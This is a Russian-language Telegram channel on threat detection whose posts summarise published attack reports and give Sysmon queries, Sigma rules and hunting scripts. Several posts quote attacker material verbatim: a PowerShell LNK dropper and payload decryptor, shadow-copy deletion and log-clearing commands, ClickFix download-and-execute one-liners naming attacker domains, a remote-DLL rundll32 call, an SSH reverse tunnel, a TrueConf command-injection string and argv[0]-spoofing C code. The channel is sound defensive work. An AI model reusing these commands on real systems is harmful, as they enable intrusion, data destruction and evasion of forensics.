Detection is easy
1.04K subscribers
71 photos
2 videos
8 files
176 links
Download Telegram
Всем привет! 💻✌️
Solar выпустил отчет о фишинговых кампаниях, применяемых группировкой NGC6061

Атака начинается с фишингового письма, которое содержит ZIP -> self-extracted LNK

При запуске ярлыка выполняется следующий ps-скрипт. Скрипт извелекает из LNK два файла - ps1, decoy-docx, сохраняет их в c:\windows\Temp и запускает


powershell.exe -exec bypass -w 1 -c $p=Get-ChildItem -Path $env:userprofile -Include Interview_questions.doc.lnk -Recurse;
$tbytes=[System.IO.File]::ReadAllBytes($p); $tstr=$tbytes|ForEach-Object{$_.ToString('X2')};
for($i=0;$i-le$tstr.Length;$i++){
if($tstr[$i]-eq'24'-and$tstr[$i+1]-eq'42'){
$st=$i;break;
}
}
for($i=0;$i-le$tstr.Length;$i++){
if($tstr[$i]-eq'50'-and$tstr[$i+1]-eq'4B'-and$tstr[$i+2]-eq'03'){
$ed=$i;
break;
}
}
for($j=$st;$j-lt$ed;$j++){
$ec+=$tstr[$j]
}
for($l=$ed;$l-le$tstr.Length;$l++){
$oc+=$tstr[$l];
}
$by=[byte[]]($ec -split '([0-9a-f]{2})'|Where-Object{$_ -match '[0-9a-f]{2}'}|ForEach-Object{[Convert]::ToByte($_, 16)});
$cy=[byte[]]($oc -split '([0-9a-f]{2})'|Where-Object{$_ -match '[0-9a-f]{2}'}|ForEach-Object{[Convert]::ToByte($_, 16)}); $ye=[system.Text.Encoding]::default.getstring($by); [System.IO.File]::WriteAllBytes('c:\windows\temp\u1.ps1', $by); [System.IO.File]::WriteAllBytes('c:\windows\temp\1.docx', $cy);
start-process c:\windows\temp\1.docx;
powershell.exe -exec bypass -w 1 -f c:\windows\temp\u1.ps1;


Второй скрипт расшифровывает полезную нагрузку, проверяет количество логических процессоров и если их меньше двух 2, то запускает decoy, иначе запускает бинарь



$B64="<base64_encode_str>"
$TDESKEY = 'fRTYUIOEGo6nMYPcyCnEJc4qVRTkGY82'
function decode($EncryptedData) {
$Data = $EncryptedData.Split(':')
$TD = New-Object System.Security.Cryptography.TripleDESCryptoServiceProvider
$Key = [Convert]::FromBase64String($TDESKEY)
$IV = [Convert]::FromBase64String($Data[0])
$DataByte = [Convert]::FromBase64String($Data[1])
$MS = New-Object System.IO.MemoryStream(,$DataByte)
$CS = New-Object System.Security.Cryptography.CryptoStream($MS,$TD.CreateDecryptor($Key,$IV), [System.Security.Cryptography.CryptoStreamMode]::Read)
$Reader = New-Object System.IO.StreamReader($CS)
$Result = $Reader.ReadToEnd()
$Reader.Dispose()
$Bytes=[System.Convert]::FromBase64String($Result)
[System.IO.File]::WriteAllBytes( "c:\windows\temp\cgi2.exe",$Bytes)
return $Bytes

}
$t3=Get-WmiObject Win32_ComputerSystem | Select-Object -ExpandProperty NumberOfLogicalProcessors;
if($t3 -le 2)
{
calc.exe;
}
else
{
[byte[]]$readb=decode($B64);
start-sleep(100);
c:\windows\temp\cgi2.exe
}


Интересно, что пути захардкожены c:\windows\temp\

🔭 Для обнаружения достаточно индикаторов:

🔤 Создание LNK с ADS NTFS в %Temp% или в одной из директорий пользователя
🔤 Анализ опасных-командлетов powershell System.Security.Cryptography, WriteAllBytes, System.IO.File, ReadAllBytes, byte[], ToByte

#detectioneasy
#ttp@detectioneasy
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥9👍5🤔3
Всем привет! 💻✌️
Давайте продолжим обзор отчета Solar о фишинговых кампаниях, применяемых группировкой NGC6061

В 2025 году, группировка продолжает использовать self-extracted LNK, но последним этапом стал дроп файлов KeyScrambler.exe и KeyScramblerIE.dll, (exe-легитимный бинарь, а dll-metasploit дропер)

KeyScrambler.exe - антикейлоггер, уязвим к DLL sideloading

🔭 Обнаружение:

🔤 Отслеживание файлов с именем KeyScramblerIE.dll. Можем похантить в $mft


ProviderName="Microsoft-Windows-Sysmon" and EventId=11 and TargetFilename contains "KeyScramblerIE.dll"


🔤 Загрузка библиотеки с именем KeyScramblerIE.dll


ProviderName="Microsoft-Windows-Sysmon" and EventId=7
and Image endswith "KeyScrambler.exe"
and ImageLoaded endswith "KeyScramblerIE.dll"
and SignatureStatus != "Valid"
and Signature != "QFX Software Corporation"


UPD:
🔤 можем похантить в amcache и prefetch - KeyScrambler.exe

#detection@detectioneasy
#ttp@detectioneasy
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥7👍3
Всем привет! 💻✌️

Продолжим рассматривать уязвимости, связанные с загрузкой dll

Notepad++ уязвим к DLL hijacking, на GitHub представили poc CVE-2025-56383

🔭Обнаружение:

🔤 Можем отслеживать создание DLL - NppConverter.dll, без EXE - notepad++.exe

🔤 Можем отслеживать загрузку в память библиотеки без подписи


ProviderName="Microsoft-Windows-Sysmon" and EventId=7
and Image endswith "notepad++.exe"
and ImageLoaded endswith "NppExport.dll"
and SignatureStatus != "Valid"
and Signature != "Notepad++"


#detection@detectioneasy
#ttp@detectioneasy
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥93👏3
Всем привет! 💻✌️

Давайте познакомимся с отчетом коллег из Angara MTDR

Фишинговое письмо содрежит *.scr файл который мимикрирует под PDF, после его открытия извлекаются несколько файлов cmd и bat. Одна из команд создает закреп через AnyDesk


echo QWERTY1234566 | AnyDesk.exe --set-password _unattended_access


🔭 Обнаружение:

🔤 отслеживать в командной строке совпадение с ".exe --set-password". Пример правила есть в Sigma, как по мне нужно добавить \.exe|\.scr|\.com

🔤 отслеживать по запуску и подписи бинаря, наличию в командной строке --set-password


Description: AnyDesk
Product: AnyDesk
Company: AnyDesk Software GmbH



#detection@detectioneasy
#ttp@detectioneasy
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥62👍2
Всем привет! 💻✌️

В разборе TTP Qilin авторы описывают этап подготовки перед шифрованием

🔤остановка службы и удаление теневых копий


wmic service where name=’vss’ call ChangeStartMode Manual
net start vss
vssadmin.exe delete shadows /all /quiet
net stop vss
wmic service where name=’vss’ call ChangeStartMode Disabled


🔤очистка логов во всех журналах


“powershell” $logs = Get-WinEvent -ListLog * | Where-Object {$_.RecordCount} | Select-Object -ExpandProperty LogName ; ForEach ( $l in $logs | Sort | Get-Unique ) {[System.Diagnostics.Eventing.Reader.EventLogSession]::GlobalSession.ClearLog($l)}


🔤закреп в реестре


HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run


🔭 Обнаружение:

🔤 отслеживаем использование wmic, vssadmin
🔤 отслеживаем использование ps - ClearLog, Get-WinEvent
🔤 создание новых ключей в ветке реестра *\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

#detection@detectioneasy
#ttp@detectioneasy
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥8👍2🤔2
Кроме всего при создании закрепа Qilin начинают имя ключа со * в ветке реестра SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Для чего?
Anonymous Quiz
48%
Обход правил обнаружения
22%
Запутывание, ничего не отработает
30%
Файл запустится в безопасном режиме
Всем привет! 💻✌️
Давайте рассмотрим интересную технику доставки из отчета ЛК

Злоумышленники использовали Squirrel и NodeJS loader для запуска легетимного приложения уязвимого к загрузки dll
Перед запуском приложения оно копируется в пользовательскую директорию Video

Для запуска обновления Squirrel необходим файлы RELEASES и *.nupkg

🔭 Обнаружение:

🔤 можем отслеживать создание файла RELEASES и *.nupkg в одной директории

🔤 отслеживаем создание *.exe и *.dll в пользовательских директориях, например Video

🔤 отслеживаем создание и загрузку в память неподписанной библиотеки chrome_elf.dll

В репозитории Sigma также есть правило

#detection@detectioneasy
#ttp@detectioneasy
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥8🎄4👍2
Всем привет! 💻✌️

У многих на слуху DFIR/TH инструмент Velociraptor 🦖. Он позволяет централизованно собирать артефакты, события из журналов и много чего еще, а также выполнять команды

Приложение является клиент-сервером, клиенты устанавливаются в роли службы с правами root или system

Виндовый клиент еще подписан - rapid7

Сложилось все, чтобы Velociraptor попал в категорию RMM (Remote monitoring and management) и стал использоваться хакерами в атаках

Solar упоминали об этом еще в 2024 году
Rapid7 дали рекомендации по обнаружению

🔭 Обнаружение:

🔤 по метаинформации файла


Description: Velociraptor: Digging Deeper!
Product: Velociraptor
Company: Rapid 7 Inc
OriginalFileName: Velociraptor.exe


🔤 при первом запуске создается ключ в реестре HKLM\System\CurrentControlSet\Services\EventLog\Application\Velociraptor

🔤 отслеживаем аргументы -ExecutionPolicy Unrestricted -encodedCommand команды выполняются в следующем виде, если артефакт powershell и команда dir


C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Unrestricted -encodedCommand ZABpAHIA


для cmd


cmd.exe /c dir


🔤 Rapid7 предложило Sigma-правило, в котором отслеживаются аргументы командой строки


selection_velociraptor:
Image|endswith: '\Velociraptor.exe'
selection_suspicious_args:
CommandLine|contains:
- "--config"
- "client.config.yaml"
- "service run"
selection_unsigned:
Signature|endswith:
- "Unsigned"
condition: selection_velociraptor and (selection_suspicious_args or selection_unsigned)


🔤 также во время работы создаются два файла с расширениями yaml и yaml.bak

#detection@detectioneasy
#ttp@detectioneasy
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥10👍2🤔2
Всем привет! 💻✌️

Давайте познакомимся с TTP Mysterious Elephant, замеченную в атаках против госструктур Южной Азии

Исследователи Kaspersky GReAT описали инструменты группы, включающие собственные загрузчики и модули эксфильтрации

🔤 Атаки начинаются с фишинга (ранее использовалась уязвимость CVE-2017-11882)

🔤 Powershell-скрипт для скачивания полезной нагрузки через curl/certutil и создание задач в Task Scheduler

🔤BabShell — C++ реверс-шелл, выполняет команды в отдельных потоках, сохраняет логи в output_*.txt, с antisandbox

🔤 MemLoader (HidenDesk / Edge) — PE-загрузчик с antisandbox

🔤 Модули эксфильтрации
Uplo — поиск документов и отправка (txt, .doc, .docx, .pdf, .xls, .xlsx, .csv, .ppt, .pptx, .zip, .rar, .7z, .pfx, .vcf, .jpg, .jpeg и .axx)

Stom — поиск документов (pdf, .docx, .txt, .jpg, .png, .zip, .rar, .pptx, .doc, .xls, .xlsx, .pst и .ost.) и сбор и сбор данных из WhatsApp Desktop 🛑 %AppData%\\Packages\\xxxxx.WhatsAppDesktop_[WhatsApp ID]\\LocalState\\Shared\\transfers\\

ChromeStealer — кража cookie и сессий Chrome

🔭 Обнаружение:

🔤 создание файлов с именами системных утилит, например c:\ProgramData\Intel\ping.exe

🔤 загрузка файлов через curl.exe, в отчете используется curl.exe.exe что может обойти правила обнаружения с конструкцией endswith curl.exe или аналогичной, но должно отработать правило на двойное расширение

🔤 создание задач через schtasks.exe, которая запускается по XPath-выражению, а не в определенное время

🔤 использование Invoke-RestMethod, Invoke-WebRequest

#detection@detectioneasy
#ttp@detectioneasy
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥112
DE Q3 2025.pdf
50.7 MB
Всем привет! 💻✌️
Продолжаем серию журналов теперь за Q3
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥12👍3🤔2
Всем привет! 💻✌️

В 2023 зашифровали компанию Capita Group, а сейчас поделились отчетом о возможных причинах, которые привели к этому

Может кто-то узнает тут себя...

🔤 Алерты обрабатывались неправильно или им не уделялось должного внимания
Первый вредоносный файл (jdmb.js) вызвал оповещение уровня P2 (высокий уровень) в 08:00 22 марта 2023 года, что указывало на получение доступа

🔤 Чрезмерная задержка между обнаружением инцидента и его локализацией, а также отсутствие автоматизации
Для изоляции устройства от остальной сети Capita по-прежнему требовалось вмешательство человека, на которое ушло 58 часов.
У SOC Capita не было возможности изолировать устройство автоматически. К тому времени злоумышленник уже получил доступ к администратору домена и начал горизонтальное перемещение

🔤 Неэффективные процессы реагирования на инциденты
Компания Capita начала процесс реагирования на инцидент только в 09:22 29 марта 2023 года, то есть через семь дней после взлома.
К тому моменту уже началась утечка данных, а до развертывания шифровальщика оставалось два дня.

🔤 Нехватка персонала и чрезмерная нагрузка на команду SOC
Известно, что на момент инцидента в марте 2023 года в Capita работал один аналитик SOC в смену. Это, в сочетании с низкой эффективностью в прошлом, указывает на системные проблемы в SOC, в том числе на нехватку персонала, недостаточную подготовку и/или неэффективные процессы.


#detection@detectioneasy
#ttp@detectioneasy
Please open Telegram to view this post
VIEW IN TELEGRAM
1🔥10🍌1
Всем привет! 💻✌️

Давайте познакомимся с отчетом Google TI

Атака начинается с фишинга — ClickFix (Fake Captcha)
Атакующие предлагают жертве выполнить удалённую DLL

rundll32.exe \\Ninspectguarantee.org\check\iamnotarobot.dll,humanCheck ;l'am not a robot


DLL используется для загрузки следующего этапа

Отличительные особенности:

🔤 Установка Python для запуска скриптов
🔤 Регистрация собственного расширения в реестре для хранения части ключа шифрования


reg add "HKEY_CURRENT_USER\SOFTWARE\Classes\.pietas" /v "ratio" /t REG_BINARY /d "f5e210ec114e1992b81ff89be58cfb2778005f734972239b9655b23fcee5593f19554d0a74dad52c67956781367b06e6" /f


🔤 Закрепление через планировщик задач


powershell -c "
$s = New-Object -ComObject Schedule.Service;
$s.Connect();
$t = $s.NewTask(0);
$p = $t.principal;
$p.logontype = 3;
$p.RunLevel = 0;
$a = $t.Actions.Create(0);
$a.Path = \"$env:APPDATA\Python38-64\pythonw.exe\";
$a.Arguments = \"$env:APPDATA\Python38-64\Lib\libsystemhealthcheck.py\";
$a.WorkingDirectory = \"$env:APPDATA\Python38-64\";
$tr = $t.Triggers.Create(9);
$tr.userID = \"$env:computername\"+\"\\\"+\"$env:username\";
$tr.enabled = $true;
$s.GetFolder(\"\").RegisterTaskDefinition(\"System health check\", $t, 6, $null, $null, 0) | Out-Null;"


🔤 Использование bitsadmin для загрузки .py-скриптов через BITS


🔭 Обнаружение:

🔤 Описание аномалий подсистемы BITS в моей статье на хакере и в PR
🔤 Запуск DLL с удалённых ресурсов


ProviderName="Microsoft-Windows-Sysmon" and EventId=1 and Image endswith "rundll32.exe" and CommandLine match "^\s*\\\\" and CommandLine match "\.dll,"



ProviderName="Microsoft-Windows-Sysmon" and EventId=22 and Image endswith "rundll32.exe" and QueryName not match "^(?:[A-Za-z0-9-]+\.)*(?:company\.com|company\.loc|corp\.local)$"


🔤 Добавление новых расширений в ключ реестра HKEY_CURRENT_USER\SOFTWARE\Classes\


#detection@detectioneasy
#ttp@detectioneasy
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥12
Всем привет! 💻✌️

Lazarus использует интересный способ создания вредоносных DLL, который описан в отчете ESET - злоумышленники внедряют код в open-source проекты и используют их как proxy-dll

Вероятно, open-source проекты используются в качестве легитимной обёртки для обхода средств хостовой защиты 🤔

🔭 Обнаружение:

🔤 отслеживаем загрузку DLL не из стандартных директорий

ProviderName="Microsoft-Windows-Sysmon" and EventId=7 
and Image endswith "wksprt.exe"
and ImageLoaded endswith "\webservices.dll"
and not ImageLoaded startswith "c:\windows\system32\"
and not ImageLoaded startswith "c:\windows\syswow64\"

ProviderName="Microsoft-Windows-Sysmon" and EventId=7 
and Image endswith "\wkspbroker.exe"
and ImageLoaded endswith "\radcui.dll"
and not ImageLoaded startswith "c:\windows\system32\"
and not ImageLoaded startswith "c:\windows\syswow64\"


#detection@detectioneasy
#ttp@detectioneasy
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥7
Всем привет! 💻✌️

Очередная атака начинается с фишинга ClickFix для доставки RMM NetSupport

Пользователям предлагается выполнить одну из команд:


"PowerShell.exe" -w h -nop -ep Bypass -c "$S='hxxps://riverlino[.]com/U.GRE';$j=$env:TEMP+'\1.ps1';(New-Object Net.WebClient).DownloadFile($S,$j);powershell -f $j"



"PowerShell.exe" -w h -nop -c "&('iex') (New-Object IO.StreamReader([Net.WebRequest]::Create('https://xunira[.]cloud/C[.]GRE').GetResponse().GetResponseStream())).ReadToEnd()"


В отчете отлично расписан функционал загружаемого PS1:

🔤Декодированние base64 и преобразование его в JSON.
JSON устроен интересно ключ - это список в котором каждая запись содержит два ключа имя файла и содержимое файла в base64, например:


{"MLh0b": [{"Heg": "client32.exe", "VnZv":"TVqQAAMAA"}]}


🔤Создает скрытый системный каталог для дропера в C:\Users\Public\{\w\d+}
🔤Декодириует ключи JSON и записывает в скрытую папку
🔤Закрепляется с помощью ярлыка в папке %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup
🔤Проверяет, что все файлы, связанные с NetSupport, успешно записаны на диск
🔤Запускает клиент NetSupport, в данном случае он называется client32.exe

В другой кампании у PS1 появился функционал антифорензики - удаление ключей RunMRU


Remove-ItemProperty -Path- 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU' -Name * -ErrorAction SilentlyContinue


🔭 Обнаружение:

🔤 Обнаружение командлетов Powershell Get-Random, FromBase64String, System.Text.Encoding, Attributes, Wscript.Shell, CreateShortcut

🔤 Создание файлов и директорий в C:\Users\Public\ , в исключение можно добавить explorer.exe

🔤 создание скриптами файлов в %APPDATA%\Microsoft\Windows\Start

🔤 удаление ключей реестра из HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU

P.S. не замечал в других отчетах рекомендации по отключению диалогого окна Выполнить

User Configuration > Administrative Templates > Start Menu and Taskbar > Enable “Remove Run menu from Start Menu”


#detection@detectioneasy
#ttp@detectioneasy
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥72
Всем привет! 💻✌️

Коллеги из ЛК обнаружили шпионскую кампанию, которая использовала 0-day уязвимость в браузере Chrome - позволяет выполнить код за пределами песочницы

🔤Атака начинается с фишингового письма, которое побуждает пользователя перейти по ссылке
🔤После перехода веб-сайт валидировал пользователя и запускал эксплойт
🔤Если пользователь подтверждался валидатор обменивается ключами с C2-сервером и расшифровывает следующий этап, который скрыт в запросах к файлам шрифтов bootstrap.bundle.min.js и .woff2
🔤Эксплойт позволяет получить дексриптор потока браузера, и выполнить вредоносный код в процессе браузера
🔤Следующий этап для закрепления использовал технику COM hijacking - HKCU\Software\Classes\CLSID\{AA509086-5Ca9-4C25-8F95-589D3C07B48A}\InProcServer32 - %AppData%\...\twinapi.dll

🔭 Обнаружение:

🔤 у sigma есть правило для обнаружения загрузки DLL не из системных путей
🔤 отслеживать изменение значений в ключах реестра HKCU\Software\Classes\CLSID\*\InProcServer32

p.s. разработчики firefox выявили схожую закономерность в своем IPC-коде и выпустили обновление под CVE-2025-2857

#detection@detectioneasy
#ttp@detectioneasy
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥8👍2🤔2
Всем привет! 💻✌️

Продолжим разбор шпионской кампании ForumTroll
Атакующие использовали шпионское ПО LeetAgent - его команды написаны Leet стилем:

🔤 0xC033A4D - COMMAND
🔤 0xECEC - EXEC
🔤 0x6E17A585 - GETTASKS

У ВПО есть функционал кейлоггера и стиллера для документов - *.doc, *.xls, *.ppt, *.rtf, *.pdf, *.docx, *.xlsx, *.pptx

Для хостинга C2 использовалась инфраструктура, задействующая Fastly.net

Исследователям удалось атрибутировать кампанию и откатить её активность как минимум до 2022 года. Векторы распространения — фишинг

🔤 Балтийский_Вектор_2023.iso
🔤 DRIVE.GOOGLE.COM (исполняемый файл)
🔤 Приглашение_Россия-Беларусь_крепкое_партнёрство_2024.lnk

Также удалось обнаружить схожую кампанию:
🔤 SCAN_XXXX_<DATE>.pdf.lnk
🔤 <DATE>_winscan_to_pdf.pdf.lnk
🔤 Ростелеком.pdf.lnk

По набору ТТП исследователи подтвердили связь между операциями. В рамках кампании был обнаружен коммерческий вредонос Dante

Dante имеет большой набор проверок на запуск в песочнице,
но из всех выделяется проверка строк в журналах событий Windows

Вредонос проверяет строки связанные с виртуальными машинами и утилитами для реверса

У каждой жертвы Dante есть infection-GUID на основе которого формируется имя директории для хранения остальных модулей и ключ реестра для настроек.

Папка с модулями Dante расположена в %LocalAppData%. Ее имя представляет собой строку в Base64 длиной в восемь байт. В ней содержатся файлы без расширений с именами в виде строк в Base64 длиной в восемь байт. Имя одного из файлов совпадает с именем папки. Эту информацию можно использовать для того, чтобы идентифицировать активные заражения.

В реестре встречается ключ: HKCU\Software\Classes\.zdmtnd\OpenWithProgids - zdmtnd - часть от Base64(GUID)

🔭Обнаружение:

🔤 хантим названия директорий (?:\w\d){8} и увеличиваем критичность, если внутри файл с таким же именем
🔤 проверяем ключи реестра на наличие аномалий HKCU\Software\Classes\.zdmtnd\OpenWithProgids, где имя расширения/ключа выглядит как Base64-строка

#detection@detectioneasy
#ttp@detectioneasy
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥74
Всем привет! 💻✌️

Давайте познакомимся с TTP атакующих, которые получают доступ эксплуатируя уязвимость в TrueConf

🔤Успешная эксплуатация уязвимости позволяет выполнить инъекцию аргументов в командную строку процесса C:\Program Files\TrueConf Server\httpconf\bin\tc_webmgr.exe

Инъекция команды (успешная эксплуатация BDU:2025-10116, признак эксплуатации):


cmd.exe /s /c "“C:\Program Files\TrueConf Server\tc_server.exe” /mode:1 /ServerID:a /ServerName:aaa1111#vcs /Serial:||powershell -c "..."|| /File:"D:\TrueConf\activation\offlinereg.vrg""


🔤Атакующие закрепляются через создание локального пользователя (audit, audit1) и создание сервиса C:\Windows\System32\dfxhost.dll с именем SscpSvc

🔤Создают ssh-туннель. Подключение идет на 443 порт сервера атакующих, позволяет пройти межсетевой без функций NGFW

ssh -o StrictHostKeyChecking=no -o ServerAliveInterval=60 -o ServerAliveCountMax=15 -f -N -R 39433 -p 443 ...@...

🔭 Обнаружение:

🔤 создание локальных пользователей
🔤 наличие подозрительных строк в аргументах tc_webmgr.exe


logsource:
category: process_creation
product: windows
detection:
selection_parent:
ParentImage|endswith: "\cmd.exe"
selection_child:
Image|endswith: "\tc_server.exe"
CommandLine|contains:
- '||'
- '&&'
- 'powershell'
- 'pwsh'
- 'wscript'
- 'cscript'
- 'sh'
- 'bash'
- 'reg'
- 'regsvr32'
- 'bitsadmin'
- 'mshta'
- 'rundll32'
- 'curl'
condition: all of selection*


🔤
Журнал ошибок веб-сервера TrueConf также может содержать признаки эксплуатации (пример пути: C:\TrueConf\web_logs\error.*.log): error: the required argument for option '--Serial' is missing
Важно: указанная выше строка является однозначным признаком попытки эксплуатации уязвимости (инъекция команды через аргумент /Serial), однако возможно появление эксплоитов, где до инъекции указывается корректный ключ активации.



#detection@detectioneasy
#ttp@detectioneasy
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥73👍3🤔1
Всем привет! 💻✌️

Атакующие часто маскируют вредоносы под легитимные системные процессы, подменяя своё отображаемое имя через argv[0]

Пример можно найти в отчете

👨‍💻 Как это может работать?

🔤Процесс запускается как /tmp/.malware
🔤При старте проверяет argv[0]
🔤Если имя не совпадает с ожидаемым - перезапускает себя через execve с поддельным argv[0], например: /usr/lib/systemd/systemd-update

В результате ps, top, htop отображают процесс как легитимный, скрывая его реальное расположение.

💀 Простой пример:

#define _GNU_SOURCE
#include <unistd.h>
#include <string.h>

int main(int argc, char *argv[], char *envp[]) {
const char *fake = "/usr/lib/systemd/systemd-update";
if (strcmp(argv[0], fake) != 0) {
char *new_argv[] = { (char *)fake, NULL };
execve("/proc/self/exe", new_argv, envp);
}
while(1) sleep(60);
}


argv[0] — это первый элемент массива, который передается при вызове функции execve

Для проверки можно использовать скрипт:

for pid in /proc/[0-9]*; do
exe=$(readlink "$pid/exe" 2>/dev/null)
cmdline=$(tr '\0' ' ' < "$pid/cmdline" 2>/dev/null)
if [[ -n "$exe" && -n "$cmdline" ]]; then
exe_name=$(basename "$exe")
cmd_name=$(echo "$cmdline" | cut -d' ' -f1 | xargs basename 2>/dev/null)
if [[ "$exe_name" != "$cmd_name" ]]; then
echo "SUSP: PID $(basename $pid) | exe=$exe | cmdline=$cmdline"
fi
fi
done


Если атакующие удалят файл, то в конце вывода readlink /proc/207349/exe будет (deleted)

#dfir@detectioneasy
#ttp@detectioneasy
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥84👍1